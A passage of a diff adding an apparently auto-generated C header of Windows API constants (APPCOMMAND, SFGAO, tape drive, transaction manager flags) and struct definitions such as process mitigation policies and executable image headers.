0x1 +#define RESOURCEMANAGER_SET_INFORMATION 0x2 +#define RESOURCEMANAGER_RECOVER 0x4 +#define RESOURCEMANAGER_ENLIST 0x8 +#define RESOURCEMANAGER_GET_NOTIFICATION 0x10 +#define RESOURCEMANAGER_REGISTER_PROTOCOL 0x20 +#define RESOURCEMANAGER_COMPLETE_PROPAGATION 0x40 +#define ENLISTMENT_QUERY_INFORMATION 0x1 +#define ENLISTMENT_SET_INFORMATION 0x2 +#define ENLISTMENT_RECOVER 0x4 +#define ENLISTMENT_SUBORDINATE_RIGHTS 0x8 +#define ENLISTMENT_SUPERIOR_RIGHTS 0x10 +#define PcTeb 0x18 +#define ACTIVATION_CONTEXT_SECTION_ASSEMBLY_INFORMATION 0x1 +#define ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION 0x2 +#define ACTIVATION_CONTEXT_SECTION_WINDOW_CLASS_REDIRECTION 0x3 +#define ACTIVATION_CONTEXT_SECTION_COM_SERVER_REDIRECTION 0x4 +#define ACTIVATION_CONTEXT_SECTION_COM_INTERFACE_REDIRECTION 0x5 +#define ACTIVATION_CONTEXT_SECTION_COM_TYPE_LIBRARY_REDIRECTION 0x6 +#define ACTIVATION_CONTEXT_SECTION_COM_PROGID_REDIRECTION 0x7 +#define ACTIVATION_CONTEXT_SECTION_GLOBAL_OBJECT_RENAME_TABLE 0x8 +#define ACTIVATION_CONTEXT_SECTION_CLR_SURROGATES 0x9 +#define ACTIVATION_CONTEXT_SECTION_APPLICATION_SETTINGS 0xa +#define ACTIVATION_CONTEXT_SECTION_COMPATIBILITY_INFO 0xb +#define ACTIVATION_CONTEXT_SECTION_WINRT_ACTIVATABLE_CLASSES 0xc +#define ROT_COMPARE_MAX 0x800 +#define WDT_INPROC_CALL 0x48746457 +#define WDT_REMOTE_CALL 0x52746457 +#define WDT_INPROC64_CALL 0x50746457 +#define DECIMAL_NEG 0x80 +#define PROCESS_HEAP_REGION 0x1 +#define PROCESS_HEAP_UNCOMMITTED_RANGE 0x2 +#define PROCESS_HEAP_ENTRY_BUSY 0x4 +#define PROCESS_HEAP_SEG_ALLOC 0x8 +#define PROCESS_HEAP_ENTRY_MOVEABLE 0x10 +#define PROCESS_HEAP_ENTRY_DDESHARE 0x20 +#define LMEM_NOCOMPACT 0x10 +#define LMEM_NODISCARD 0x20 +#define LMEM_MODIFY 0x80 +#define LMEM_DISCARDABLE 0xf00 +#define LMEM_VALID_FLAGS 0xf72 +#define LMEM_INVALID_HANDLE 0x8000 +#define LMEM_DISCARDED 0x4000 +#define LMEM_LOCKCOUNT 0xff +#define NUMA_NO_PREFERRED_NODE 0xffffffff +#define REDBOOK_DIGITAL_AUDIO_EXTRACTION_INFO_VERSION 0x1 +#define IgnoreError 0 +#define NormalError 1 +#define SevereError 2 +#define CriticalError 3 +#define GC_ALLGESTURES 0x1 +#define GC_ZOOM 0x1 +#define GC_PAN 0x1 +#define GC_PAN_WITH_SINGLE_FINGER_VERTICALLY 0x2 +#define GC_PAN_WITH_SINGLE_FINGER_HORIZONTALLY 0x4 +#define GC_PAN_WITH_GUTTER 0x8 +#define GC_PAN_WITH_INERTIA 0x10 +#define GC_ROTATE 0x1 +#define GC_TWOFINGERTAP 0x1 +#define GC_PRESSANDTAP 0x1 +#define GC_ROLLOVER 0x1 +#define SS_LEFT 0x0 +#define SS_CENTER 0x1 +#define SS_RIGHT 0x2 +#define SS_ICON 0x3 +#define SS_BLACKRECT 0x4 +#define SS_GRAYRECT 0x5 +#define SS_WHITERECT 0x6 +#define SS_BLACKFRAME 0x7 +#define SS_GRAYFRAME 0x8 +#define SS_WHITEFRAME 0x9 +#define SS_USERITEM 0xa +#define SS_SIMPLE 0xb +#define SS_LEFTNOWORDWRAP 0xc +#define SS_OWNERDRAW 0xd +#define SS_BITMAP 0xe +#define SS_ENHMETAFILE 0xf +#define SS_ETCHEDHORZ 0x10 +#define SS_ETCHEDVERT 0x11 +#define SS_ETCHEDFRAME 0x12 +#define SS_TYPEMASK 0x1f +#define SS_REALSIZECONTROL 0x40 +#define SS_NOPREFIX 0x80 +#define SS_NOTIFY 0x100 +#define SS_CENTERIMAGE 0x200 +#define SS_RIGHTJUST 0x400 +#define SS_REALSIZEIMAGE 0x800 +#define SS_SUNKEN 0x1000 +#define SS_EDITCONTROL 0x2000 +#define SS_ENDELLIPSIS 0x4000 +#define SS_PATHELLIPSIS 0x8000 +#define SS_WORDELLIPSIS 0xc000 +#define SS_ELLIPSISMASK 0xc000 +#define COMIMAGE_FLAGS_ILONLY 1 +#define COMIMAGE_FLAGS_32BITREQUIRED 2 +#define COMIMAGE_FLAGS_IL_LIBRARY 4 +#define COMIMAGE_FLAGS_STRONGNAMESIGNED 8 +#define COMIMAGE_FLAGS_NATIVE_ENTRYPOINT 16 +#define COMIMAGE_FLAGS_TRACKDEBUGDATA 65536 +#define COMIMAGE_FLAGS_32BITPREFERRED 131072 +#define COR_VERSION_MAJOR_V2 2 +#define COR_VERSION_MAJOR 2 +#define COR_VERSION_MINOR 5 +#define COR_DELETED_NAME_LENGTH 8 +#define COR_VTABLEGAP_NAME_LENGTH 8 +#define NATIVE_TYPE_MAX_CB 1 +#define COR_ILMETHOD_SECT_SMALL_MAX_DATASIZE 255 +#define IMAGE_COR_MIH_METHODRVA 1 +#define IMAGE_COR_MIH_EHRVA 2 +#define IMAGE_COR_MIH_BASICBLOCK 8 +#define COR_VTABLE_32BIT 1 +#define COR_VTABLE_64BIT 2 +#define COR_VTABLE_FROM_UNMANAGED 4 +#define COR_VTABLE_FROM_UNMANAGED_RETAIN_APPDOMAIN 8 +#define COR_VTABLE_CALL_MOST_DERIVED 16 +#define IMAGE_COR_EATJ_THUNK_SIZE 32 +#define MAX_CLASS_NAME 1024 +#define MAX_PACKAGE_NAME 1024 +#define MK_LBUTTON 0x1 +#define MK_RBUTTON 0x2 +#define MK_SHIFT 0x4 +#define MK_CONTROL 0x8 +#define MK_MBUTTON 0x10 +#define MK_XBUTTON1 0x20 +#define MK_XBUTTON2 0x40 +#define KTMOBJECT_TRANSACTION 0 +#define KTMOBJECT_TRANSACTION_MANAGER 1 +#define KTMOBJECT_RESOURCE_MANAGER 2 +#define KTMOBJECT_ENLISTMENT 3 +#define KTMOBJECT_INVALID 4 +#define RuntimeReportTypeDriver 0 +#define RuntimeReportTypeMax 1 +#define ATF_TIMEOUTON 0x1 +#define ATF_ONOFFFEEDBACK 0x2 +#define ENERGY_SAVER_OFF 0 +#define ENERGY_SAVER_STANDARD 1 +#define ENERGY_SAVER_HIGH_SAVINGS 2 +#define PowerMonitorOff 0 +#define PowerMonitorOn 1 +#define PowerMonitorDim 2 +#define APPCOMMAND_BROWSER_BACKWARD 0x1 +#define APPCOMMAND_BROWSER_FORWARD 0x2 +#define APPCOMMAND_BROWSER_REFRESH 0x3 +#define APPCOMMAND_BROWSER_STOP 0x4 +#define APPCOMMAND_BROWSER_SEARCH 0x5 +#define APPCOMMAND_BROWSER_FAVORITES 0x6 +#define APPCOMMAND_BROWSER_HOME 0x7 +#define APPCOMMAND_VOLUME_MUTE 0x8 +#define APPCOMMAND_VOLUME_DOWN 0x9 +#define APPCOMMAND_VOLUME_UP 0xa +#define APPCOMMAND_MEDIA_NEXTTRACK 0xb +#define APPCOMMAND_MEDIA_PREVIOUSTRACK 0xc +#define APPCOMMAND_MEDIA_STOP 0xd +#define APPCOMMAND_MEDIA_PLAY_PAUSE 0xe +#define APPCOMMAND_LAUNCH_MAIL 0xf +#define APPCOMMAND_LAUNCH_MEDIA_SELECT 0x10 +#define APPCOMMAND_LAUNCH_APP1 0x11 +#define APPCOMMAND_LAUNCH_APP2 0x12 +#define APPCOMMAND_BASS_DOWN 0x13 +#define APPCOMMAND_BASS_BOOST 0x14 +#define APPCOMMAND_BASS_UP 0x15 +#define APPCOMMAND_TREBLE_DOWN 0x16 +#define APPCOMMAND_TREBLE_UP 0x17 +#define APPCOMMAND_MICROPHONE_VOLUME_MUTE 0x18 +#define APPCOMMAND_MICROPHONE_VOLUME_DOWN 0x19 +#define APPCOMMAND_MICROPHONE_VOLUME_UP 0x1a +#define APPCOMMAND_HELP 0x1b +#define APPCOMMAND_FIND 0x1c +#define APPCOMMAND_NEW 0x1d +#define APPCOMMAND_OPEN 0x1e +#define APPCOMMAND_CLOSE 0x1f +#define APPCOMMAND_SAVE 0x20 +#define APPCOMMAND_PRINT 0x21 +#define APPCOMMAND_UNDO 0x22 +#define APPCOMMAND_REDO 0x23 +#define APPCOMMAND_COPY 0x24 +#define APPCOMMAND_CUT 0x25 +#define APPCOMMAND_PASTE 0x26 +#define APPCOMMAND_REPLY_TO_MAIL 0x27 +#define APPCOMMAND_FORWARD_MAIL 0x28 +#define APPCOMMAND_SEND_MAIL 0x29 +#define APPCOMMAND_SPELL_CHECK 0x2a +#define APPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE 0x2b +#define APPCOMMAND_MIC_ON_OFF_TOGGLE 0x2c +#define APPCOMMAND_CORRECTION_LIST 0x2d +#define APPCOMMAND_MEDIA_PLAY 0x2e +#define APPCOMMAND_MEDIA_PAUSE 0x2f +#define APPCOMMAND_MEDIA_RECORD 0x30 +#define APPCOMMAND_MEDIA_FAST_FORWARD 0x31 +#define APPCOMMAND_MEDIA_REWIND 0x32 +#define APPCOMMAND_MEDIA_CHANNEL_UP 0x33 +#define APPCOMMAND_MEDIA_CHANNEL_DOWN 0x34 +#define APPCOMMAND_DELETE 0x35 +#define APPCOMMAND_DWM_FLIP3D 0x36 +#define IMAGE_AUX_SYMBOL_TYPE_TOKEN_DEF 1 +#define TAPE_DRIVE_ABS_BLK_IMMED 0x80002000 +#define TAPE_DRIVE_ABSOLUTE_BLK 0x80001000 +#define TAPE_DRIVE_END_OF_DATA 0x80010000 +#define TAPE_DRIVE_FILEMARKS 0x80040000 +#define TAPE_DRIVE_LOAD_UNLOAD 0x80000001 +#define TAPE_DRIVE_LOAD_UNLD_IMMED 0x80000020 +#define TAPE_DRIVE_LOCK_UNLOCK 0x80000004 +#define TAPE_DRIVE_LOCK_UNLK_IMMED 0x80000080 +#define TAPE_DRIVE_LOG_BLK_IMMED 0x80008000 +#define TAPE_DRIVE_LOGICAL_BLK 0x80004000 +#define TAPE_DRIVE_RELATIVE_BLKS 0x80020000 +#define TAPE_DRIVE_REVERSE_POSITION 0x80400000 +#define TAPE_DRIVE_REWIND_IMMEDIATE 0x80000008 +#define TAPE_DRIVE_SEQUENTIAL_FMKS 0x80080000 +#define TAPE_DRIVE_SEQUENTIAL_SMKS 0x80200000 +#define TAPE_DRIVE_SET_BLOCK_SIZE 0x80000010 +#define TAPE_DRIVE_SET_COMPRESSION 0x80000200 +#define TAPE_DRIVE_SET_ECC 0x80000100 +#define TAPE_DRIVE_SET_PADDING 0x80000400 +#define TAPE_DRIVE_SET_REPORT_SMKS 0x80000800 +#define TAPE_DRIVE_SETMARKS 0x80100000 +#define TAPE_DRIVE_SPACE_IMMEDIATE 0x80800000 +#define TAPE_DRIVE_TENSION 0x80000002 +#define TAPE_DRIVE_TENSION_IMMED 0x80000040 +#define TAPE_DRIVE_WRITE_FILEMARKS 0x82000000 +#define TAPE_DRIVE_WRITE_LONG_FMKS 0x88000000 +#define TAPE_DRIVE_WRITE_MARK_IMMED 0x90000000 +#define TAPE_DRIVE_WRITE_SETMARKS 0x81000000 +#define TAPE_DRIVE_WRITE_SHORT_FMKS 0x84000000 +#define IMPORT_OBJECT_ORDINAL 0 +#define IMPORT_OBJECT_NAME 1 +#define IMPORT_OBJECT_NAME_NO_PREFIX 2 +#define IMPORT_OBJECT_NAME_UNDECORATE 3 +#define IMPORT_OBJECT_NAME_EXPORTAS 4 +#define ImagePolicyIdNone 0 +#define ImagePolicyIdEtw 1 +#define ImagePolicyIdDebug 2 +#define ImagePolicyIdCrashDump 3 +#define ImagePolicyIdCrashDumpKey 4 +#define ImagePolicyIdCrashDumpKeyGuid 5 +#define ImagePolicyIdParentSd 6 +#define ImagePolicyIdParentSdRev 7 +#define ImagePolicyIdSvn 8 +#define ImagePolicyIdDeviceId 9 +#define ImagePolicyIdCapability 10 +#define ImagePolicyIdScenarioId 11 +#define ImagePolicyIdCapabilityOverridable 12 +#define ImagePolicyIdTrustletIdOverridable 13 +#define ImagePolicyIdMaximum 14 +#define ALERT_SYSTEM_INFORMATIONAL 0x1 +#define ALERT_SYSTEM_WARNING 0x2 +#define ALERT_SYSTEM_ERROR 0x3 +#define ALERT_SYSTEM_QUERY 0x4 +#define ALERT_SYSTEM_CRITICAL 0x5 +#define PdataCrUnchained 0 +#define PdataCrUnchainedSavedLr 1 +#define PdataCrChainedWithPac 2 +#define PdataCrChained 3 +#define HiberFileBucket1GB 0 +#define HiberFileBucket2GB 1 +#define HiberFileBucket4GB 2 +#define HiberFileBucket8GB 3 +#define HiberFileBucket16GB 4 +#define HiberFileBucket32GB 5 +#define HiberFileBucketUnlimited 6 +#define HiberFileBucketMax 7 +#define TransactionManagerBasicInformation 0 +#define TransactionManagerLogInformation 1 +#define TransactionManagerLogPathInformation 2 +#define TransactionManagerRecoveryInformation 4 +#define TransactionManagerOnlineProbeInformation 3 +#define TransactionManagerOldestTransactionInformation 5 +#define SeImageSignatureNone 0 +#define SeImageSignatureEmbedded 1 +#define SeImageSignatureCache 2 +#define SeImageSignatureCatalogCached 3 +#define SeImageSignatureCatalogNotCached 4 +#define SeImageSignatureCatalogHint 5 +#define SeImageSignaturePackageCatalog 6 +#define SeImageSignaturePplMitigated 7 +#define EnlistmentBasicInformation 0 +#define EnlistmentRecoveryInformation 1 +#define EnlistmentCrmInformation 2 +#define PowerLimitContinuous 0 +#define PowerLimitType1 0 +#define PowerLimitBurst 1 +#define PowerLimitType2 1 +#define PowerLimitRapid 2 +#define PowerLimitType3 2 +#define PowerLimitPreemptive 3 +#define PowerLimitType4 3 +#define PowerLimitPreemptiveOffset 4 +#define PowerLimitTypeMax 5 +#define IGP_GETIMEVERSION 0xfffffffc +#define IGP_PROPERTY 0x4 +#define IGP_CONVERSION 0x8 +#define IGP_SENTENCE 0xc +#define IGP_UI 0x10 +#define IGP_SETCOMPSTR 0x14 +#define IGP_SELECT 0x18 +#define ResourceManagerBasicInformation 0 +#define ResourceManagerCompletionInformation 1 +#define PdataRefToFullXdata 0 +#define PdataPackedUnwindFunction 1 +#define PdataPackedUnwindFragment 2 +#define UmsSchedulerStartup 0 +#define UmsSchedulerThreadBlocked 1 +#define UmsSchedulerThreadYield 2 +#define RECO_PASTE 0x0 +#define RECO_DROP 0x1 +#define RECO_COPY 0x2 +#define RECO_CUT 0x3 +#define RECO_DRAG 0x4 +#define SERVERSILO_INITING 0 +#define SERVERSILO_STARTED 1 +#define SERVERSILO_SHUTTING_DOWN 2 +#define SERVERSILO_TERMINATING 3 +#define SERVERSILO_TERMINATED 4 +#define CFU_CF1UNDERLINE 0xff +#define CFU_INVERT 0xfe +#define CFU_UNDERLINETHICKLONGDASH 0x12 +#define CFU_UNDERLINETHICKDOTTED 0x11 +#define CFU_UNDERLINETHICKDASHDOTDOT 0x10 +#define CFU_UNDERLINETHICKDASHDOT 0xf +#define CFU_UNDERLINETHICKDASH 0xe +#define CFU_UNDERLINELONGDASH 0xd +#define CFU_UNDERLINEHEAVYWAVE 0xc +#define CFU_UNDERLINEDOUBLEWAVE 0xb +#define CFU_UNDERLINEHAIRLINE 0xa +#define CFU_UNDERLINETHICK 0x9 +#define CFU_UNDERLINEWAVE 0x8 +#define CFU_UNDERLINEDASHDOTDOT 0x7 +#define CFU_UNDERLINEDASHDOT 0x6 +#define CFU_UNDERLINEDASH 0x5 +#define CFU_UNDERLINEDOTTED 0x4 +#define CFU_UNDERLINEDOUBLE 0x3 +#define CFU_UNDERLINEWORD 0x2 +#define CFU_UNDERLINE 0x1 +#define CFU_UNDERLINENONE 0x0 +#define ITWW_OPEN_CONNECT 0x0 +#define ImagePolicyEntryTypeNone 0 +#define ImagePolicyEntryTypeBool 1 +#define ImagePolicyEntryTypeInt8 2 +#define ImagePolicyEntryTypeUInt8 3 +#define ImagePolicyEntryTypeInt16 4 +#define ImagePolicyEntryTypeUInt16 5 +#define ImagePolicyEntryTypeInt32 6 +#define ImagePolicyEntryTypeUInt32 7 +#define ImagePolicyEntryTypeInt64 8 +#define ImagePolicyEntryTypeUInt64 9 +#define ImagePolicyEntryTypeAnsiString 10 +#define ImagePolicyEntryTypeUnicodeString 11 +#define ImagePolicyEntryTypeOverride 12 +#define ImagePolicyEntryTypeMaximum 13 +#define DriverType 1 +#define FileSystemType 2 +#define Win32ServiceOwnProcess 16 +#define Win32ServiceShareProcess 32 +#define AdapterType 4 +#define RecognizerType 8 +#define BootLoad 0 +#define SystemLoad 1 +#define AutoLoad 2 +#define DemandLoad 3 +#define DisableLoad 4 +#define SFGAO_CANCOPY 0x1 +#define SFGAO_CANMOVE 0x2 +#define SFGAO_CANLINK 0x4 +#define SFGAO_STORAGE 0x8 +#define SFGAO_CANRENAME 0x10 +#define SFGAO_CANDELETE 0x20 +#define SFGAO_HASPROPSHEET 0x40 +#define SFGAO_DROPTARGET 0x100 +#define SFGAO_CAPABILITYMASK 0x177 +#define SFGAO_PLACEHOLDER 0x800 +#define SFGAO_SYSTEM 0x1000 +#define SFGAO_ENCRYPTED 0x2000 +#define SFGAO_ISSLOW 0x4000 +#define SFGAO_GHOSTED 0x8000 +#define SFGAO_LINK 0x10000 +#define SFGAO_SHARE 0x20000 +#define SFGAO_READONLY 0x40000 +#define SFGAO_HIDDEN 0x80000 +#define SFGAO_DISPLAYATTRMASK 0xfc000 +#define SFGAO_FILESYSANCESTOR 0x10000000 +#define SFGAO_FOLDER 0x20000000 +#define SFGAO_FILESYSTEM 0x40000000 +#define SFGAO_HASSUBFOLDER 0x80000000 +#define SFGAO_CONTENTSMASK 0x80000000 +#define SFGAO_VALIDATE 0x1000000 +#define SFGAO_REMOVABLE 0x2000000 +#define SFGAO_COMPRESSED 0x4000000 +#define SFGAO_BROWSABLE 0x8000000 +#define SFGAO_NONENUMERATED 0x100000 +#define SFGAO_NEWCONTENT 0x200000 +#define SFGAO_CANMONIKER 0x400000 +#define SFGAO_HASSTORAGE 0x400000 +#define SFGAO_STREAM 0x400000 +#define SFGAO_STORAGEANCESTOR 0x800000 +#define SFGAO_STORAGECAPMASK 0x70c50008 +#define SFGAO_PKEYSFGAOMASK 0x81044000 +#define TransactionBasicInformation 0 +#define TransactionPropertiesInformation 1 +#define TransactionEnlistmentInformation 2 +#define TransactionSuperiorEnlistmentInformation 3 +#define TransactionBindInformation 4 +#define TransactionDTCPrivateInformation 5 +#define TapeDriveProblemNone 0 +#define TapeDriveReadWriteWarning 1 +#define TapeDriveReadWriteError 2 +#define TapeDriveReadWarning 3 +#define TapeDriveWriteWarning 4 +#define TapeDriveReadError 5 +#define TapeDriveWriteError 6 +#define TapeDriveHardwareError 7 +#define TapeDriveUnsupportedMedia 8 +#define TapeDriveScsiConnectionError 9 +#define TapeDriveTimetoClean 10 +#define TapeDriveCleanDriveNow 11 +#define TapeDriveMediaLifeExpired 12 +#define TapeDriveSnappedTape 13 +#define SharedVirtualDisksUnsupported 0 +#define SharedVirtualDisksSupported 1 +#define SharedVirtualDiskSnapshotsSupported 3 +#define SharedVirtualDiskCDPSnapshotsSupported 7 +#define AccessReasonNone 0 +#define AccessReasonAllowedAce 65536 +#define AccessReasonDeniedAce 131072 +#define AccessReasonAllowedParentAce 196608 +#define AccessReasonDeniedParentAce 262144 +#define AccessReasonNotGrantedByCape 327680 +#define AccessReasonNotGrantedByParentCape 393216 +#define AccessReasonNotGrantedToAppContainer 458752 +#define AccessReasonMissingPrivilege 1048576 +#define AccessReasonFromPrivilege 2097152 +#define AccessReasonIntegrityLevel 3145728 +#define AccessReasonOwnership 4194304 +#define AccessReasonNullDacl 5242880 +#define AccessReasonEmptyDacl 6291456 +#define AccessReasonNoSD 7340032 +#define AccessReasonNoGrant 8388608 +#define AccessReasonTrustLabel 9437184 +#define AccessReasonFilterAce 10485760 +#define ActivationContextBasicInformation 1 +#define ActivationContextDetailedInformation 2 +#define AssemblyDetailedInformationInActivationContext 3 +#define FileInformationInAssemblyOfAssemblyInActivationContext 4 +#define RunlevelInformationInActivationContext 5 +#define CompatibilityInformationInActivationContext 6 +#define ActivationContextManifestResourceName 7 +#define MaxActivationContextInfoClass 8 +#define AssemblyDetailedInformationInActivationContxt 3 +#define FileInformationInAssemblyOfAssemblyInActivationContxt 4 +#define TransactionStateNormal 1 +#define TransactionStateIndoubt 2 +#define TransactionStateCommittedNotify 3 +#define IMPORT_OBJECT_CODE 0 +#define IMPORT_OBJECT_DATA 1 +#define IMPORT_OBJECT_CONST 2 +#define SharedVirtualDiskHandleStateNone 0 +#define SharedVirtualDiskHandleStateFileShared 1 +#define SharedVirtualDiskHandleStateHandleShared 3 + +typedef struct _RemHPALETTE { + unsigned int cbData; + unsigned char data[1]; +} RemHPALETTE; + +typedef struct _SERVERSILO_DIAGNOSTIC_INFORMATION { + void* ReportId; + unsigned int ExitStatus; + unsigned short CriticalProcessName[15]; +} SERVERSILO_DIAGNOSTIC_INFORMATION; + +typedef struct _ANON_OBJECT_HEADER_V2 { + unsigned short Sig1; + unsigned short Sig2; + unsigned short Version; + unsigned short Machine; + unsigned int TimeDateStamp; + void* ClassID; + unsigned int SizeOfData; + unsigned int Flags; + unsigned int MetaDataSize; + unsigned int MetaDataOffset; +} ANON_OBJECT_HEADER_V2; + +typedef struct _RemHMETAFILEPICT { + int mm; + int xExt; + int yExt; + unsigned int cbData; + unsigned char data[1]; +} RemHMETAFILEPICT; + +typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR { + unsigned int TimeDateStamp; + unsigned short OffsetModuleName; + unsigned short NumberOfModuleForwarderRefs; +} IMAGE_BOUND_IMPORT_DESCRIPTOR; + +typedef struct _PROCESS_MITIGATION_CHILD_PROCESS_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_CHILD_PROCESS_POLICY; + +typedef struct _RemHBRUSH { + unsigned int cbData; + unsigned char data[1]; +} RemHBRUSH; + +typedef struct _PROCESSOR_PERFSTATE_POLICY { + unsigned int Revision; + unsigned char MaxThrottle; + unsigned char MinThrottle; + unsigned char BusyAdjThreshold; + void* Anonymous; + unsigned int TimeCheck; + unsigned int IncreaseTime; + unsigned int DecreaseTime; + unsigned int IncreasePercent; + unsigned int DecreasePercent; +} PROCESSOR_PERFSTATE_POLICY; + +typedef struct _IMAGE_DYNAMIC_RELOCATION64 { + unsigned long long Symbol; + unsigned int BaseRelocSize; +} IMAGE_DYNAMIC_RELOCATION64; + +typedef struct _IMAGE_RESOURCE_DIRECTORY_ENTRY { + void* Anonymous1; + void* Anonymous2; +} IMAGE_RESOURCE_DIRECTORY_ENTRY; + +typedef struct _TAPE_GET_MEDIA_PARAMETERS { + long long Capacity; + long long Remaining; + unsigned int BlockSize; + unsigned int PartitionCount; + BOOL WriteProtected; +} TAPE_GET_MEDIA_PARAMETERS; + +typedef struct _TRANSACTION_PROPERTIES_INFORMATION { + unsigned int IsolationLevel; + unsigned int IsolationFlags; + long long Timeout; + unsigned int Outcome; + unsigned int DescriptionLength; + unsigned short Description[1]; +} TRANSACTION_PROPERTIES_INFORMATION; + +typedef struct _IMAGE_DYNAMIC_RELOCATION32_V2 { + unsigned int HeaderSize; + unsigned int FixupInfoSize; + unsigned int Symbol; + unsigned int SymbolGroup; + unsigned int Flags; +} IMAGE_DYNAMIC_RELOCATION32_V2; + +typedef struct _COMPONENT_FILTER { + unsigned int ComponentFlags; +} COMPONENT_FILTER; + +typedef struct _RemotableHandle { + int fContext; + void* u; +} RemotableHandle; + +typedef struct _RemHGLOBAL { + int fNullHGlobal; + unsigned int cbData; + unsigned char data[1]; +} RemHGLOBAL; + +typedef struct _userHMETAFILE { + int fContext; + void* u; +} userHMETAFILE; + +typedef struct _XSAVE_CET_U_FORMAT { + unsigned long long Ia32CetUMsr; + unsigned long long Ia32Pl3SspMsr; +} XSAVE_CET_U_FORMAT; + +typedef struct _PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY; + +typedef struct _RUNTIME_REPORT_HEADER { + unsigned short ReportType; + unsigned short Reserved; + unsigned int ReportSize; +} RUNTIME_REPORT_HEADER; + +typedef struct _IMAGE_POLICY_METADATA { + unsigned char Version; + unsigned char Reserved0[7]; + unsigned long long ApplicationId; + void* Policies[1]; +} IMAGE_POLICY_METADATA; + +typedef struct _PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY; + +typedef struct _TRANSACTIONMANAGER_OLDEST_INFORMATION { + void* OldestTransactionGuid; +} TRANSACTIONMANAGER_OLDEST_INFORMATION; + +typedef struct _TRANSACTION_BIND_INFORMATION { + void* TmHandle; +} TRANSACTION_BIND_INFORMATION; + +typedef struct _RESOURCEMANAGER_BASIC_INFORMATION { + void* ResourceManagerId; + unsigned int DescriptionLength; + unsigned short Description[1]; +} RESOURCEMANAGER_BASIC_INFORMATION; + +typedef struct _PROCESSOR_IDLESTATE_POLICY { + unsigned short Revision; + void* Flags; + unsigned int PolicyCount; + void* Policy[3]; +} PROCESSOR_IDLESTATE_POLICY; + +typedef struct _TRANSACTION_LIST_INFORMATION { + unsigned int NumberOfTransactions; + void* TransactionInformation[1]; +} TRANSACTION_LIST_INFORMATION; + +typedef struct _PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY; + +typedef struct _PROCESS_MITIGATION_DEP_POLICY { + void* Anonymous; + BOOL Permanent; +} PROCESS_MITIGATION_DEP_POLICY; + +typedef struct _PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY; + +typedef struct _PROCESS_MITIGATION_DYNAMIC_CODE_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_DYNAMIC_CODE_POLICY; + +typedef struct _userCLIPFORMAT { + int fContext; + void* u; +} userCLIPFORMAT; + +typedef struct _PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY; + +typedef struct _PROCESS_MITIGATION_ASLR_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_ASLR_POLICY; + +typedef struct _SHARED_VIRTUAL_DISK_SUPPORT { + void* SharedVirtualDiskSupport; + void* HandleState; +} SHARED_VIRTUAL_DISK_SUPPORT; + +typedef struct _IMAGE_OS2_HEADER { + unsigned short ne_magic; + unsigned char ne_ver; + unsigned char ne_rev; + unsigned short ne_enttab; + unsigned short ne_cbenttab; + int ne_crc; + unsigned short ne_flags; + unsigned short ne_autodata; + unsigned short ne_heap; + unsigned short ne_stack; + int ne_csip; + int ne_sssp; + unsigned short ne_cseg; + unsigned short ne_cmod; + unsigned short ne_cbnrestab; + unsigned short ne_segtab; + unsigned short ne_rsrctab; + unsigned short ne_restab; + unsigned short ne_modtab; + unsigned short ne_imptab; + int ne_nrestab; + unsigned short ne_cmovent; + unsigned short ne_align; + unsigned short ne_cres; + unsigned char ne_exetyp; + unsigned char ne_flagsothers; + unsigned short ne_pretthunks; + unsigned short ne_psegrefbytes; + unsigned short ne_swaparea; + unsigned short ne_expver; +} IMAGE_OS2_HEADER; + +typedef struct _IMAGE_VXD_HEADER { + unsigned short e32_magic; + unsigned char e32_border; + unsigned char e32_worder; + unsigned int e32_level; + unsigned short e32_cpu; + unsigned short e32_os; + unsigned int e32_ver; + unsigned int e32_mflags; + unsigned int e32_mpages; + unsigned int e32_startobj; + unsigned int e32_eip; + unsigned int e32_stackobj; + unsigned int e32_esp; + unsigned int e32_pagesize; + unsigned int e32_lastpagesize; + unsigned int e32_fixupsize; + unsigned int e32_fixupsum; + unsigned int e32_ldrsize; + unsigned int e32_ldrsum; + unsigned int e32_objtab; + unsigned int e32_objcnt; + unsigned int e32_objmap; + unsigned int e32_itermap; + unsigned int e32_rsrctab; + unsigned int e32_rsrccnt; + unsigned int e32_restab; + unsigned int e32_enttab; + unsigned int e32_dirtab; + unsigned int e32_dircnt; + unsigned int e32_fpagetab; + unsigned int e32_frectab; + unsigned int e32_impmod; + unsigned int e32_impmodcnt; + unsigned int e32_impproc; + unsigned int e32_pagesum; + unsigned int e32_datapage; + unsigned int e32_preload; + unsigned int e32_nrestab; + unsigned int e32_cbnrestab; + unsigned int e32_nressum; + unsigned int e32_autodata; + unsigned int e32_debuginfo; + unsigned int e32_debuglen; + unsigned int e32_instpreload; + unsigned int e32_instdemand; + unsigned int e32_heapsize; + unsigned char e32_res3[12]; + unsigned int e32_winresoff; + unsigned int e32_winreslen; + unsigned short e32_devid; + unsigned short e32_ddkver; +} IMAGE_VXD_HEADER; + +typedef struct _userBITMAP { + int bmType; + int bmWidth; + int bmHeight; + int bmWidthBytes; + unsigned short bmPlanes; + unsigned short bmBitsPixel; + unsigned int cbSize; + unsigned char pBuffer[1]; +} userBITMAP; + +typedef struct _FILE_CASE_SENSITIVE_INFORMATION { + unsigned int Flags; +} FILE_CASE_SENSITIVE_INFORMATION; + +typedef struct _PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY; + +typedef struct _JOBOBJECT_NETWORK_ACCOUNTING_INFORMATION { + unsigned long long DataBytesIn; + unsigned long long DataBytesOut; +} JOBOBJECT_NETWORK_ACCOUNTING_INFORMATION; + +typedef struct 